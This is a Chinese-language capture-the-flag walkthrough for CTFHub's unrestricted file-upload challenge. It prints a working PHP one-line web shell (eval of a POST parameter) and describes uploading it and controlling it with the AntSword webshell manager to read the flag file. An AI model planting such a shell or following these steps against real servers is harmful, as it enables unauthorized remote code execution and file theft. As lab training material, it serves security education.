CTFHub【文件上传·无限制】
题目分析
本题考查基础的文件上传漏洞利用。题目未对上传文件进行有效过滤,可直接上传 PHP 一句话木马文件。
解题步骤
第一步:准备一句话木马
在本地电脑桌面新建文本文件,写入以下 PHP 代码:
php
<?php @eval($_POST['pass']);?>
保存后将文件后缀修改为 .php,例如命名为 shell.php。其中 @ 用于抑制错误信息,eval() 函数将传入的字符串作为 PHP 代码执行,$_POST['pass'] 表示通过 POST 方式传递参数,连接密码为 pass。
第二步:上传木马文件
打开题目页面,找到文件上传功能入口。点击上传按钮,选择本地准备好的 shell.php 文件进行上传。由于题目没有设置文件类型校验,上传过程顺利,页面返回上传成功的提示信息,并给出文件在服务器上的访问路径,通常为 /upload/shell.php 或类似格式。
第三步:连接蚁剑获取权限
打开中国蚁剑工具,右键选择"添加数据",在弹出的配置窗口中填写以下信息:
URL 地址:填写题目给出的木马访问路径,格式为 http://题目地址/upload/shell.php
连接密码:填写 pass(与一句话木马中 $_POST 的参数名保持一致)
编码设置:保持默认即可
点击测试连接,确认连接成功后保存该条目。
第四步:查找并获取 Flag
在蚁剑的数据管理列表中,右键点击刚添加的条目,选择"打开文件管理器"。浏览服务器文件目录,在网站根目录或常见存放位置发现隐藏的 flag.php 文件。双击打开该文件,即可查看到 flag 内容。
总结
本题属于文件上传漏洞的基础考查,核心在于利用未过滤的上传点植入 PHP 一句话木马,再通过 Webshell 管理工具(蚁剑)连接服务器,最终实现远程文件读取。解题关键在于确认上传路径正确、连接密码与木马参数一致,以及熟悉蚁剑的文件管理功能。
